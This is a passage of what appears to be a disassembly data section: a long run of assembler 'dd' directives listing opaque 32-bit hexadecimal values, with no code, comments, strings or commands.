7EE68FD7h dd 0A3204281h, 39CF02F2h, 5368E036h, 99E0DF97h, 9C6BC10Ch dd 0E031FE0Bh, 86D1FE4Bh, 376DFDE2h, 0B2C0AB3Fh, 0A2DA0364h dd 0D189C785h, 28C8157Dh, 1A4065A2h, 30BA3960h, 0E166582Fh dd 5436D13Dh, 7D51E857h, 0A871AD2h, 2E8BA54h, 567236A1h dd 8327D7EBh, 0E380896Ch, 0A4F1218Fh, 5CA794C5h, 0A8B19B6Ch dd 0A22FC8B2h, 0A8F8FCB6h, 2817DA9h, 95C2FB2h, 0E2853C5Fh dd 9FE48857h, 0B133F751h, 380293FFh, 6D9E49A3h, 757B88D8h dd 794140Ch, 428EB24Dh, 428FFE4Fh, 3F150F91h, 4CAEFBD8h dd 7F7726C0h, 0ABFAF6A7h, 0E924FE88h, 38A5DD6Fh, 55B12A86h dd 0BA9EF063h, 5610028h, 0DBF88EA9h, 53739E33h, 258BAC27h dd 1B884957h, 545D1640h, 7010550Bh, 391368DDh, 7E159A0Fh dd 0F47165B0h, 0A538A0E0h, 0AC96EA8Ah, 43CDD38Bh, 460C4B34h dd 0C1BE6FF9h, 0B49750A4h, 2683293Dh, 3E33514Dh, 987533B7h dd 82955496h, 0E4901C3Ah, 60860845h, 14C1876Ah, 0E5BB9EB7h dd 0D5DCB8B6h, 57FF7730h, 38699020h, 0BAD416CCh, 6AA28F8Fh dd 5B5A36E1h, 0DCE260CEh, 9D507954h, 417C2F6Ah, 0C2E87F95h dd 0D79098Bh, 4D6C707Bh, 56BDEE53h, 86325F04h, 36C69978h dd 1CE80526h, 25F84B90h, 8183770Bh, 434C00Ah, 0BA6265BFh dd 0FD882B24h, 1B76EA52h, 0F4254560h, 75C04C71h, 91C15ED7h dd 4ED03E61h, 0B6565CF6h, 0EE23FC35h, 9B9F736Dh, 6054D802h dd 635B8809h, 4E282E92h, 0A211F942h, 0EFC6E5A4h, 2B9C000h dd 7C7F4DC8h, 726BA3Bh, 0EE6227D9h, 0C7BEC87Bh, 0F3B30B22h dd 0EC459060h, 0FB4B8CBFh, 0C72F04EFh, 862A18FBh, 18BA2C4h dd 2D4C57AFh, 4BA6362Eh, 0F0B8B904h, 0DC1EEE1Bh, 951AF9A2h dd 62C6FC53h, 0FD64AAE8h, 78ABFF69h, 6895DDE4h, 85FE8C6Bh dd 0A53AD2BDh, 42F603A4h, 2206013Ch, 572972A3h, 0C9177F33h dd 679BF132h, 1C9C8916h, 0E25168CDh, 38CA0260h, 5D1AD439h dd 0BB6B44EFh, 4C70C982h, 35375B62h, 0F136D5BCh, 0EB4E4308h dd 877D1B4Ch, 0ED1EA4D5h, 8C65EF32h, 0FA5AC35Ch, 0EE372CCFh dd 22F60429h, 6D93BF3Eh, 0EA1A1CAEh, 23588DC6h, 0FE486896h dd 1B5435E0h, 59F49672h, 97390527h, 0E755C425h, 9F9E6EEEh dd 48F4C8A5h, 2215ECF5h, 0EBB9E8C7h, 6252BB3h, 7F7BCCA7h dd 60E6851Fh, 2E18C883h, 9A351DA1h, 0D194CCF9h, 0F86A183Fh dd 0A8F323BCh, 7CC07FB4h, 28224A41h, 0C061EC63h, 7BACDEA2h dd 29D723ABh, 722B1F76h, 0A230BDBh, 376DB2CBh, 0F7D5207h dd 0A148B3F5h, 9B3BF004h, 1893FE21h, 8D103B2Ah, 817C221Ah dd 6FB82D7Fh, 0D1B42497h, 0DDDB075Ch, 0BF30FC96h, 0E65C3C73h dd 9AA4627h, 299877B7h, 87D6EFC2h, 22B50A56h, 0B305C42Bh dd 72B8D928h, 9BF2A3D8h, 0DE2E2380h, 0CE75FDECh, 334B2503h dd 0A9042651h, 0D443BCA5h, 48C4A325h, 9675434Dh, 7EE422B6h dd 0E21261F9h, 61E5A95Dh, 61225C94h, 0F07F0F28h, 1CC02186h dd 33A40EE5h, 3DBDB211h, 0B5E0836Fh, 36D88C6h, 2057BB55h dd 83CA9F3h, 9352FAA4h, 0C0AAD7CCh, 603FE4A1h, 6D883AD5h dd 913C3F71h, 571B168Dh, 85D829D7h, 53A53A01h, 8A8055E0h dd 0A40AEE30h, 73CF2871h, 7E5F720Ah, 0CFFD273Ah, 48CB6B48h dd 36EFF867h, 416A02DAh, 2C5CA694h, 4D604F5Ch, 2A370998h dd 58F89F7Dh, 1F70DC49h, 0DF44E94Fh, 0E6FBA319h, 6F1B9BE4h dd 3A02D391h, 6E57EBAFh, 0F243BFA3h, 76CA480Ah, 9A57AB5Bh dd 0CC39DAB1h, 68C66B59h, 0D8B7A921h, 64490ACDh, 87B7A466h dd 3B212851h, 224238FBh, 0EFD5CC10h, 0B4AB2BDEh, 0BBBE31Bh dd 5E8CF428h, 1F0E8F55h, 7E705678h, 9761417Eh, 79DDF673h dd 0C430D955h, 2B02BEAFh, 8DF28D5Fh, 0FA9DF4CAh, 58175C38h dd 0EB587FD8h, 0B112BED6h, 0AD44CD25h, 62E8DDCFh, 0BF72931Bh dd 0AAE2909Ch, 5D2C70C7h, 7AA87FE5h, 0E69CFEBBh, 0F4607F41h dd 0E33AEAC7h, 0F022FA13h, 0F6ACB915h, 380BDB7Dh, 42645172h dd 65B0C8A9h, 9A11EF32h, 3E8D18A6h, 0C0D36729h, 0E9A7642Ch dd 0EEEA18C0h, 0C16FD5D0h, 42C35357h, 11734431h, 0EB492782h dd 1993AEEEh, 2A893794h, 4CD9CFC0h, 0FF280E03h, 5E9CA00h dd 408F6AEh, 0BF359C73h, 0E47DE8D8h, 89BDFE22h, 0F7B6F90Fh dd 2EEE9283h, 8A1EFCC3h, 0E73BBD4Fh, 50166C8Eh, 77034CB7h dd 6E269058h, 24403689h, 0A8899C47h, 444C4EBDh, 8D00B305h dd 25CFC78Eh, 9F2E8FF1h, 81A0ECEDh, 861703A7h, 93D4A99h dd 3BD9F368h, 86CB9423h, 681EB91Dh, 0D9101743h, 0A3FED77Ah dd 0E3CD27DEh, 5910FB46h, 7C9A2369h, 0D418FBE7h, 3158D65Ch dd 0F0247075h, 1AF43E98h, 81DAC207h, 0AC6C0EC8h, 13398D48h dd 992EB76Eh, 0E3AB70DBh, 7D0CF6D4h, 0F859D477h, 0BD5998DEh dd 0D54BFD99h, 4FAA77A9h, 6250DE2Ah, 0A8F1192Ah, 31B67576h dd 0A1FECFF4h, 2C22F892h, 0A8DAF583h, 386C9E7Fh, 6D7B15A5h dd 5908C9B6h, 0C4E7EDA9h, 38044DF8h, 98FEB7A3h, 323B06E2h dd 6EB3903Ch, 0DC7061CBh dd 0F97BBA43h, 0DF7633CCh, 0DC31770Ch, 23490943h, 0E02502CAh dd 575580E1h, 9A316707h, 0DFD91B92h, 2915D6FEh, 19773776h dd 216E8B91h, 993CE384h, 86A42ADh, 0B735760Fh, 11C1247Fh dd 21A96621h, 895638C5h, 80F026E1h, 538395F2h, 95D2A74Bh dd 7A815ED8h, 797B71CAh, 2C26DF7Dh, 54D0AF50h, 1C847083h dd 0BB49F9D6h, 0E7B82C46h, 263123F1h, 67B75ACBh, 0CA4C5D1Fh dd 0F47BA73Dh, 38706172h, 10C29DDh, 8E068413h, 302D517h dd 8272091Bh, 4B8ACE3Dh, 572FF0BDh, 9DD468B2h, 312B3A32h dd 1D4D122Bh, 0C180CE5Dh, 958E39C4h, 86411F5Eh, 7EB05A2h dd 74CE68D7h, 0FA9973D1h, 671948B3h, 0D9ADCC6Ah, 90630A6Ah dd 84B59EFDh, 751BE860h, 0DA6D5AD2h, 0E9306504h, 0F80A6DE2h dd 167887D6h, 41F866D9h, 358D3D1Dh, 9E03BFC1h, 0D773BC84h dd 723D3CC9h, 4ED9BA70h, 4E2C9FD9h, 0BE133BBEh, 3E9B535Dh dd 6509A64h, 0DAC48D41h, 9760404Ah, 58B8EF39h, 8A3BACA8h dd 0A3AA7B72h, 7107CBD2h, 0FEFC0079h, 0A6711427h, 0E76282D1h dd 8B2C17BCh, 0C4B57468h, 4B7367C2h, 0B386B029h, 0F1BDD569h dd 0B9F2206h, 58971F91h, 0E7ECE6DDh, 2DCE210Ah, 12672D4Eh dd 0EC32A38Bh, 1F4B5357h, 5E29AB9Fh, 261571E1h, 54C58F0Bh dd 8DA11B7Fh, 9E9C812Dh, 3F3058C7h, 4DA6359Dh, 0E1C4CD4h dd 4ECEC04Eh, 0EB259DB6h, 6D52CC91h, 3C80156Fh, 248DBE4Fh dd 79EDB054h, 0DD153402h, 7C98503Bh, 22D7F862h, 1A1DCB68h dd 48119B0Eh, 0F24403FEh, 284024ECh, 72D174A9h, 0C2E34F83h dd 98CC4AA9h, 0BE8A67F5h, 297FB3E0h, 73E2A512h, 48444DB8h dd 37551765h, 0E95916B1h, 9C6AEC1h, 0A168DFC0h, 0DFF955FFh dd 7B8AA742h, 382B4603h, 0F3BD28F6h, 0D73B2A4Bh, 1D026CC2h dd 52862802h, 44FB3354h, 0D0F62530h, 0B34B3DCCh, 0C6319C0Eh dd 55309BD8h, 3F6944AFh, 60CFAF71h, 8E728737h, 91754AE9h dd 0CFA50B46h, 63F6B4A9h, 688CE789h, 0D70F79A6h, 0BA054E21h dd 0E3A9CF1h, 0BADC12FAh, 12B30C4Fh, 943DE8C5h, 0C9B9AEB1h dd 672B6FFEh, 4A62752Eh, 0DBC4BE2Ah, 63C37A50h, 1F13EBD9h dd 36D010F3h, 8C6A0DD0h, 0FA166C97h, 0E56C3EDBh, 4EC89C34h dd 5EE4DE12h, 0BAB09005h, 770E0C21h, 1FAFAB1Dh, 7376EE07h dd 2ACAAAE3h, 0E068DC44h, 5699CC5Eh, 0E9544325h, 5906343Ah dd 0D4D0EF7h, 0B1B2EC3Fh, 613AB294h, 213C531Fh, 432B5F2Fh dd 83DB0Fh, 13315620h, 1933286Ah, 643A5CBFh, 87A6F4E9h dd 1376C2C4h, 119FD050h, 5DCDC55Dh, 0F37A8AADh, 0D8140CBBh dd 9D06B20Ah, 1B4833D1h, 0D8BA08D3h, 0F32DBB1Eh, 3D72B9F1h dd 85B6C8E2h, 2C0A38F2h, 0A5103738h, 46707736h, 0F3AD35C5h dd 0D0C150CEh, 0FE44FC6Fh, 33B0FC34h, 0A864E949h, 3276AC49h dd 5D1AD379h, 65B9BEE2h, 4C2B1468h, 16DF4005h, 2E3AB5E4h dd 0E48E1C54h, 18AC5C74h, 93D03863h, 9157DF49h, 6AC48F2Dh dd 8455445h, 0CAB25F98h, 0C1859E57h, 733DAAA5h, 68403A20h dd 25671321h, 983E6859h, 8DB8FBABh, 0D5D567A3h, 0B2709171h dd 5078834Ah, 0C08E80B8h, 23D7DFEh, 0F90A32F5h, 16B4AED6h dd 1AB2C00h, 69D8A620h, 87D55F1Eh, 3437959Dh, 5DC7C53Fh dd 0BD123E1Dh, 680F0636h, 6E9842B4h, 0B6234F3Ah, 340E9B47h dd 1515382Bh, 0DE36B6E5h, 0CEF8F51h, 24746221h, 29A8B04Eh dd 11563875h, 1B8D5AE4h, 0D8D8907Bh, 0BE0AB4FCh, 50798FD0h dd 5864FCFBh, 9FFF5C08h, 0B546A0BDh, 224AA0E8h, 889DD663h dd 0E0425CC8h, 97C39E34h, 1A9CBA1Bh, 76CBBF54h, 96E17F0Ah dd 2BF245F0h, 0E97AEE67h, 50AE3460h, 745B46FCh, 8D6D88C0h dd 78113C4Fh, 0E1C6ECE6h, 47EC6685h, 0E1875FB2h, 3ECBE009h dd 0D2D9078Ah, 67180EFFh, 525476A4h, 0D0797592h, 49564CB3h dd 1E98AD5Ch, 0D75A390Ah, 17608D55h, 0A2B7778Dh, 73A8A51Ah dd 0B8B21FB0h, 0D010255Dh, 0EA442011h, 559719ECh, 0F1905A8Bh dd 9A0C19D4h, 0D9CF42FEh, 0BF70F6EFh, 354EC60Ch, 0A1835E71h dd 92462F72h, 3EB364E3h, 5F41C9CEh, 53CA4E2Bh, 7AC7AB1Dh dd 77D3A2D6h, 92395C4Bh, 105E5BCAh, 0C3018863h, 0AF87F1FFh dd 0F138860Fh, 0B5A1AFA7h, 0FFA208B0h, 0F19F4F78h, 19AC793h dd 8B001507h, 5CACE159h, 3107BF7Eh, 50B82042h, 7AD5C762h dd 0B48926B1h, 0CC9A7D22h, 0FA930597h, 0F2835B6Bh, 0FE1FDCA2h dd 8C0564CAh, 0F04CE405h, 0A8F90536h, 0CD31794Eh, 0F9EFD4EFh dd 4C7E0606h, 0EB60FB33h, 0F2B177BBh, 0E5409003h, 2C459567h dd 735C39F2h, 3153E4E2h, 0DD50C32Bh, 0F809810Ch, 38A2B152h dd 2352B333h, 8AC826CAh, 97B5191h, 31D8D9BFh, 6BBAF5A0h dd 8D1FB832h, 0A87C029Fh, 0BE76FA2Bh, 216EAF8Bh, 1F8923AFh dd 44FFEAAh, 8524553Fh, 6FEE90DAh, 0DD9D9BE8h, 70F59581h dd 746823F9h, 0DECEFA61h, 85ADA9AFh, 0C95559DEh, 0D599344Eh dd 29622326h, 8F182353h, 0D68DEC7Bh, 524E0C1Ah, 60E2BEFBh dd 0B4950F16h, 95FE4891h, 0BD8B7CDDh, 0C91A5683h, 44542042h dd 6A67A9C3h, 29335653h, 0C93230F1h, 89E97D19h, 0E1BA092Ah dd 17B80C4Ah, 3B7B94BBh, 0A7610844h, 51164CCDh, 5ED6CCC1h dd 103EB512h, 4BF24963h, 5A878A5Bh, 517F0A5Fh, 128F1C9h dd 0B7DC6A5Ah, 0EB6A526Ah, 32EDBF6Bh, 9D53D2CDh, 2207FDFEh dd 0DE016444h, 7F0E670Fh, 0F39EB8ADh, 0F05DF919h, 8F449E2h dd 0E2F3B664h, 4FCBF88Bh, 4834B427h, 24A6FAF8h, 114BC11h dd 66322655h, 0EDFC339h, 3FEC7A1h, 0CBDBCD84h, 0E7362CBh dd 0D08E9389h, 0DDFBADCCh, 0BB2CFF39h, 53D6DEBDh, 85DFF2F3h dd 0D2A850Eh, 89901CB0h, 45914F7h, 75454D81h, 83A6819Bh dd 2D5F4B04h, 16482487h, 0CF230EE7h, 55887E4Eh, 6C6A990Bh dd 0A4C66E8h, 5A0425DFh, 167C3DC7h, 0D27DFD28h, 35B88149h dd 7BE8004Fh, 0C450F56Ah, 361D38FDh, 7A040B08h, 47D5AE7h dd 7BECB4F7h, 171F8382h, 0F71EB1C7h, 4EB4842Ch, 83E05907h dd 0E1DDC1A9h, 2BFCAB2Ch, 6FA51366h, 0BB561663h, 50D50757h dd 1B9FB941h, 7C9FD118h, 0A5D08C57h, 83DB2236h, 0B2FF4123h dd 3BB3A9A3h, 712D774Ch, 8C6D0B66h, 2947D74Eh, 934CC213h dd 0CA76A6C8h, 0EF45EFC6h, 28434CA7h, 936A0C70h, 0B4AB0Ch dd 660B9E64h, 0C0D487A1h, 13AF9C84h, 4005B659h, 118E45CFh dd 0AF951710h, 9E1BF2FEh, 5A24054h, 5B1A0137h, 7B3BEBA2h dd 0E7B62F0Bh, 0C5F9CCB8h, 4000A873h, 42C479D6h, 0BC74ABB8h dd 3868C8C8h, 0F14F2743h, 39C3B058h, 0F2DA063Fh, 1A00088Ah dd 0A3D6E0C9h, 9E83A9Fh, 2CF84DF2h, 36FD4BB5h, 56E69FAAh dd 0A016E7C9h, 0FB255C15h, 6756442Ch, 8CF58A02h, 964EF76Eh dd 0C86AD5D1h, 2C3A41C9h, 0D230EF45h, 0F73EA009h, 98BEA2DCh dd 0CD18CCC0h, 81E33718h, 0A41397BCh, 464E415h, 0F74B7D30h dd 113297CBh, 0F0F2249Eh, 9AD4E35Fh, 0D7675B1h, 3A4883FEh dd 4710F9EEh, 0F795E463h, 7D4763CAh, 839409DBh, 0B6F6365Ch dd 643F45FEh, 0B03F9CF3h, 7BFACBAFh, 9A83E034h, 3E998A43h dd 0CD7073C0h, 71B3CD82h, 3F1956FCh, 73859F22h, 0C8BDBB26h dd 9C9B917Fh, 0FF5E13E5h, 57A645A5h, 7A58966Ch, 0E27D3303h dd 0CE7D07A7h, 8A4335A7h, 0E9E8820Fh, 0D3715BA7h, 6C78DF5Fh dd 0F3465770h, 0F6387A70h, 171B8F2Ch, 3DF0F8F7h, 51E5F495h dd 3A67BD87h, 605A56DFh dd 5D1475B1h, 0C23376EAh, 3C9D8D1Fh, 0B328F07Eh, 0CDA1FC1Fh dd 1655FE3Ah, 204422EAh, 0ECB52C84h, 0BF2905A9h, 7CDB75F3h dd 76016E61h, 695621EBh, 0B9C8DAC7h, 4960A510h, 916124FAh dd 25ACCD0Ah, 0F7C25B4Ah, 28BC0B6Fh, 8C76800h, 0D522D497h dd 0A5A1C223h, 0DE80E94h, 63732463h, 0F263F4B0h, 2E2DA12Dh dd 4F8CF83Bh, 0F2590AE5h, 0D2A04D61h, 0D9740A15h, 0F3FACBCBh dd 0D0C89D02h, 85340429h, 44460084h, 61C0151Ch, 87E20F48h dd 2FD218C2h, 87637680h, 5D3E5E46h, 57764A61h, 255B62D3h dd 9726138Fh, 7EEDBC80h, 53BBF7CDh, 60658A4Fh, 0F07A6CE7h dd 14F6F993h, 0BA67EBE6h, 0A408C7E8h, 216EC565h, 0C8BB6FADh dd 69FFADF7h, 2A879225h, 81DB1D56h, 845FB905h, 0D08BB086h dd 5666A845h, 80649D0Ch, 67C2E43Ch, 445846DFh, 642E359Ch dd 670E8D6Eh, 0E9D077FFh, 34A4218Ah, 8AD84FBDh, 50B12793h dd 0B578824Ah, 38F23DA4h, 0EAB1ABF8h, 0A7DCDBB0h, 9161A922h dd 17AC9031h, 0BC313B4Fh, 1617B0F6h, 0E518B4C6h, 135ED677h dd 795B628Ch, 0F5B3A970h, 45C6D8F3h, 0FA2B7790h, 0D89F59C4h dd 4A07BB32h, 4D64B516h, 19CFE74Fh, 9DDFB4E6h, 0A989F5E9h dd 23774A1Eh, 2448ECE4h, 6939C44Fh, 117BEF1h, 0B08DA744h dd 3BDF4C65h, 25C7FFA1h, 0DC38361h, 363B4EEAh, 5E8DA174h dd 49B1494Fh, 0C87E3243h, 0DDEDE4D1h, 0E001E669h, 422F58BEh dd 9679C931h, 0B977E17Bh, 0C6CDF4CBh, 18AF5FCh, 30676F2h dd 188233DFh, 433744B1h, 0EEE9734Eh, 0E2ECDFEEh, 399884C9h dd 18351F3Ah, 5D705051h, 5777ABFEh, 0D956954Fh, 31E62F91h dd 0A9E8EB85h, 37F73134h, 5328D15Dh, 12BC367Bh, 0A7F94D51h dd 0F51F5484h, 1AE9956Eh, 0A532F97Bh, 32C27872h, 90DA4A4Fh dd 44577BCBh, 0DD43657Fh, 3F71C67Dh, 0A070A2BDh, 0E0BA24A5h dd 94B6C4D3h, 0E17A97E2h, 5E62692Dh, 0E095491Dh, 34FA88D2h dd 0D8AA62DBh, 4880958h, 0DA8B0293h, 0E1D604D8h, 41043764h dd 0BACB1A0Eh, 1362E708h, 575A0964h, 0D9DD8BDh, 44F326A8h dd 0DECC1E84h, 0B2607D68h, 1B1C18BEh, 0F5931E8Eh, 0EE8C3D43h dd 6670DDFFh, 0DE9E796Dh, 2B375748h, 6F4EE4E9h, 671F8523h dd 937860C1h, 0AAE86D1Bh, 0B4108B9Ah, 4A0461C7h, 30B485A1h dd 0A85D882h, 0E0D20418h, 9C349765h, 0CC2124Ah, 4A8EE2B3h dd 0CC80954Ah, 2E2E89E4h, 0F3E1F572h, 0C58BDD9Bh, 2BD7B88Eh dd 7B09FBC5h, 0F10846DEh, 6F252B91h, 98E0E872h, 39B6A7D7h dd 0F16333D9h, 0E18E9AE9h, 0E733CA4h, 0E8AB72C2h, 0CAAF82B9h dd 5FF4075Bh, 90B4E2C2h, 551D1A96h, 0D0E3C22Ah, 28916A77h dd 23F4D79Fh, 23A6A93Ah, 65441E17h, 89E2C1F0h, 176B1089h dd 70631536h, 5DF394Eh, 2E391797h, 214D97B2h, 6185F572h dd 22FE6CA6h, 318B283Eh, 0A33BCB3h, 0D8C58BFEh, 0DF7553E4h dd 7E565AD5h, 9F99DB84h, 0E2112641h, 38C0A3BFh, 0B7EBB95Eh dd 0C3D078E7h, 0A0611B85h, 8D266DE7h, 84C02D75h, 0CC681AC7h dd 1AC2FADEh, 0B708E816h, 0E7DBB564h, 0C479F518h, 5D26E06Eh dd 53F835D8h, 0F715573Fh, 0F0BDFE58h, 2E0BBE32h, 2F4D5949h dd 306225ECh, 15CB188Eh, 8B79459Ch, 0B6FA16EBh, 0CD65AAEAh dd 0EEB065E1h, 69D4C3F4h, 0F31CA50Dh, 779367D2h, 0AE0E19EEh dd 0C833040Dh, 0E9A246CFh, 5897ED06h, 0F8C7926Bh, 1FEED62Ch dd 73055D40h, 28A7AA57h, 0DF992FD7h, 267B182Ah, 0EBC3151Fh dd 0FA932156h, 1FEB7C30h, 1E34A88Ch, 0AFB35B64h, 0E7449B52h dd 0E2A4564Ah, 12BE464h, 736A0AB6h, 0D25D6237h, 4D76B2EEh dd 0EA6D419Ah, 8819B31Eh, 50678DB8h, 0C1D33F10h, 9CEC89Dh dd 86C07F2Ch, 7CB5F3E7h, 98545CA6h, 2D13291Ah, 0E91D95D6h dd 9C29D77h, 8B85EED1h, 0FC285A1Eh, 0F91642E7h, 99F7AE53h dd 84F8A5D9h, 0D6E11DF1h, 0A3B584A7h, 5B055C86h, 50A2A9DEh dd 0C47FAD00h, 220329F0h, 6D1E861Ah, 0A091DC88h, 0C6281CEAh dd 426EBAACh, 74803370h, 6629D5FDh, 0F83F08F7h, 0E381D2FCh dd 2C19D731h, 9A6A0178h, 6638F25Ah, 2A5709CBh, 7843505Dh dd 7914FCA6h, 0E2B4F7FBh, 47229E31h, 0B328365Eh, 71B096E7h dd 0CB41CBC4h, 96171A34h, 28E0766Dh, 7C3845E8h, 9ED34307h dd 282CB05Ah, 5061E90Ah, 0D19CA3D5h, 28F7FF3Dh, 361AC6A5h dd 0AE292459h, 0D2589687h, 59AB7D2Ah, 24B5B28Ah, 0EFE9608Ch dd 628FC622h, 597DBE6Bh, 78A84F95h, 0BFBFDAA2h, 7F150983h dd 55A1013h, 0C1F5997Ch, 0B6595116h, 0CDFA1CD3h, 0FEE0D0Fh dd 0DF919F8Dh, 47FD6FF0h, 0E617981Ah, 7AADD5A7h, 0D67E5D40h dd 469A2F5Eh, 9017EF69h, 0F321E725h, 2DFAE686h, 499FEE8Ch dd 0AC2CB15Ch, 0A120F7B7h, 11D91856h, 71D21595h, 0EC7E3117h dd 527A60D9h, 0D97D2711h, 0B5DC0CE8h, 0D2F3D4A9h, 0AEB278Dh dd 74AB2047h, 69209F4Ch, 0BFF8596Ah, 8BC790Fh, 0C2EF4D5Bh dd 0CC095D2Ch, 0C74D1ECAh, 3200E51Ah, 8B4DD82Ch, 0B1A2DE3h dd 0E1AD2ADCh, 0D2C71A54h, 23E83DE2h, 3F96CF1Eh, 0AA349A10h dd 8F05EC2Ah, 0C109DCA5h, 3B3DF6FAh, 3437642Bh, 1B267D67h dd 0F8B6C198h, 0C93C3207h, 59FA2429h, 58BE8F94h, 0A62142EAh dd 5B59B17h, 63EEB1A2h, 57EEC676h, 0F9C8965Ch, 1A6B1DD6h dd 6496470Bh, 0ECB481B6h, 0F14233A2h, 822C314Ch, 0A366EE5Ah dd 718308A5h, 381C70F6h, 0C75C6D1Ch, 0C2A6043Ch, 414F230Ch dd 0D21E9474h, 4255E347h, 2A7270BAh, 9E012260h, 0FCC78E13h dd 0BE9B8568h, 46B6AB68h, 322DEE2Ah, 0D0948F87h, 99C24E48h dd 8B8CD8B8h, 0E4C4B134h, 0D6EC7A52h, 0AD26EE1Ah, 223B09FFh dd 0BFF25DE5h, 33ED20FCh, 5DB424C9h, 6214DE3Fh, 6AD72A1Bh dd 16614BD2h, 997D6283h, 0BEC8B8E0h, 7663E3A6h, 1EF8A885h dd 212B8B3Bh, 95D22D0Eh, 0A25BD3F6h, 0C4BD9EA3h, 0D86B0A22h dd 118230E0h, 15E46C70h, 277F20A7h, 8C28A0D4h, 0DC07A939h dd 0C972614h, 5EA780D6h, 59F5910Eh, 80962299h, 7EDA554Ch dd 0C39B0F1Fh, 0FA0D4DC4h, 560ED061h, 0ACD91CD7h, 644D0898h dd 31471357h, 296CD6AFh, 0C022A8DAh, 0F9D5E091h, 0FD601AFFh dd 0F3904BCBh, 894DDC38h, 7A4657C1h, 0B52AFFB6h, 5C5F170Bh dd 0F5329F42h, 5BE35D30h, 0D5A4B1BCh, 0A55E8715h, 0DA0D831Fh dd 0BC2B60F3h, 83AEED7Dh, 0C8AA7A67h, 0A3199ED6h, 1FB4DDBh dd 0A627889Ah, 0A9CE1BC1h, 0F19F9410h, 36135735h, 3921D0B8h dd 1B2C59EEh, 0DBAED028h, 91596D63h, 0D8C7515Fh, 5109F59Ch dd 0BB3A6B09h, 3117DD59h, 65981593h, 3E697075h, 0C50BAB05h dd 104D4C8Ch, 0AB82510Dh, 28373407h, 7EC927E8h, 0E919BD33h dd 1162F1A6h, 3E242300h, 29FE91FEh, 2CF667BEh, 0C580CFFh dd 0CA4C74A0h, 2C39A282h, 0A2E15121h, 667C67E2h, 0D11A33Ch dd 0D0DF6767h, 0D660D1EEh, 0C4CF85B2h, 0F919B9B4h, 0D3FABD54h dd 0D555C04Dh, 8220282Bh, 3766D015h, 0A515821Ah, 0DCC98F4Ah dd 2928DCDh, 70334D73h, 48F2FB37h, 0B042F601h, 2753988Ch dd 8C002C6Bh, 0EE42CB4Ch, 0A8F7BF4Dh, 8F9C476Bh, 0CA0E0B88h dd 2131880Eh, 0A18D39E1h, 0D17C81E6h, 0E8D471E7h, 586A51DEh dd 9DB12FEEh, 1BC1E5ACh, 0E5D93DFDh, 5416DFABh, 0BE449497h dd 0E0F005ABh, 0FF0F7994h, 0E09F1404h, 7FCC78E4h, 0B73B0A06h dd 5CC78EA1h, 0A371BCE8h, 72944B1Fh, 682AB506h, 8CE0ABFCh dd 430C4885h, 2423FAF9h dd 7B35AA20h, 18384F77h, 0E043AEE4h, 21EAF37Fh, 0CD338691h dd 0E98C3AD7h, 419E42A0h, 0F0B82B3Dh, 122E946Ah, 89C9011Fh dd 0CCED80D1h, 0B8B01116h, 5F315869h, 8768EE6Dh, 65CE2B89h dd 0BFA44E66h, 0EBEBD5B3h, 0E097375h, 0DD462959h, 3D721048h dd 0FE913C79h, 39B51ACFh, 0A0B45A31h, 0C4EE3A69h, 61999CD4h dd 7D93C2EAh, 44D007FBh, 806880BCh, 6D409996h, 0E82AEFF7h dd 6DE21F18h, 97D2FDA7h, 54327D95h, 5DA774AAh, 85B279F6h dd 0D1F6E4Eh, 0F28483F4h, 5A4EE446h, 64D95D9Fh, 8697FD28h dd 859EF41Ch, 0CC109F06h, 6B6DF8CCh, 3DA3C53Eh, 818A64AEh dd 0D3591753h, 0E85352D6h, 66FC9A6Dh, 91B6545Dh, 0F074FC51h dd 0E2D39188h, 7FFCF664h, 0BAA1BD8Fh, 2E8C88FBh, 0CFD143D1h dd 0CD811A42h, 1E2E90DAh, 5B6AEDC9h, 0A0414EF0h, 4E33C69Bh dd 85D0775Fh, 0D1EE9173h, 62A13CC0h, 0A5055DF2h, 0EFBDA3DDh dd 37167B55h, 0E0F388F3h, 0D99ADFFh, 0EA51B6F2h, 122586ADh dd 0C20C43F8h, 0D1751BD2h, 7646B09Ah, 957EB8B5h, 10FC4608h dd 7F23800Eh, 2710E32Bh, 57E5CB55h, 66F6782h, 493CC323h dd 4CD3B92h, 1D042164h, 504E8921h, 5AB9C30Dh, 0DE3975B4h dd 0D0B21C18h, 1B50B0D1h, 0E8D7CB35h, 72502D9Fh, 0D601B57Eh dd 0AB19CEE2h, 32BD1EB4h, 20714CDAh, 0A3CDA788h, 4BB5BCBBh dd 0EEE610EFh, 9F9D6C52h, 4FEB96DAh, 0BE93D905h, 0E19D1D5h dd 3ECB2BD2h, 0ED873AA5h, 58552273h, 754B4CECh, 0BAF1B226h dd 6F1EA6DAh, 89599905h, 3F41649h, 243D8A76h, 0D4175C17h dd 0CFF02DFDh, 35D5C389h, 0A140923Dh, 74B3F4E2h, 576F4848h dd 7F3BAFDBh, 163EFB5h, 8270C95Fh, 0B79494C3h, 29DB4A7Ch dd 0D6E645EEh, 0C327713Bh, 8A36D246h, 99BBA380h, 8611EF9Ah dd 1561FE56h, 3628558Ah, 0E76EE775h, 0D5D69534h, 4BB56F67h dd 9DB3EFECh, 0DFB53D12h, 1A4A43Fh, 3905920h, 3D306BFCh dd 0EF84DE61h, 125AC33Bh, 0A48D1C4Ah, 0F8DD0E3Fh, 3A8E928Bh dd 472C4419h, 7D155CCFh, 0A0B2D763h, 69DD01CEh, 6A582A20h dd 0B9512B33h, 292B0B74h, 0A134C833h, 0E313D60Fh, 2C34E38Fh dd 6164668Eh, 40EECBAFh, 3288A586h, 9CDC03B9h, 8059E982h dd 0E0A5D387h, 2811AD28h, 3C05E2F9h, 0DC158A0Fh, 718955A4h dd 9C45E0Dh, 7753109Fh, 0AFC0FBD6h, 98A17180h, 0BC97591Eh dd 8508989Ah, 5C3E5D80h, 0A2CE6D08h, 0DFE67C7Ah, 4282C680h dd 96BCE0BEh, 0D2E39938h, 6EFF3654h, 0E3E2554Fh, 992E9AD8h dd 0C55F77D4h, 985BD683h, 0C19C4890h, 715D909Ch, 0D359AD88h dd 0C9E15312h, 0DC9E57B5h, 3F7B374h, 6C6DD44Ah, 0CC2DA988h dd 0BAF60B54h, 0FCD4B5C3h, 3492296Ch, 0E190BD63h, 282BE8E3h dd 83D91FA1h, 3551411Fh, 3243AF60h, 17659E09h, 644A082Fh dd 0BD36FB4Dh, 8BF3CF46h, 0F1D99399h, 6A525562h, 4FE2288Dh dd 717042E5h, 2C2C86A5h, 0F733D45Ch, 898D295h, 394D680Ah dd 8D188A5h, 6E9D3DBh, 3224C45Ah, 0E20C722Ah, 9B8E158Eh dd 0EB138212h, 8355B9Eh, 0A5F26248h, 694A8D69h, 614E7216h dd 99153B4Dh, 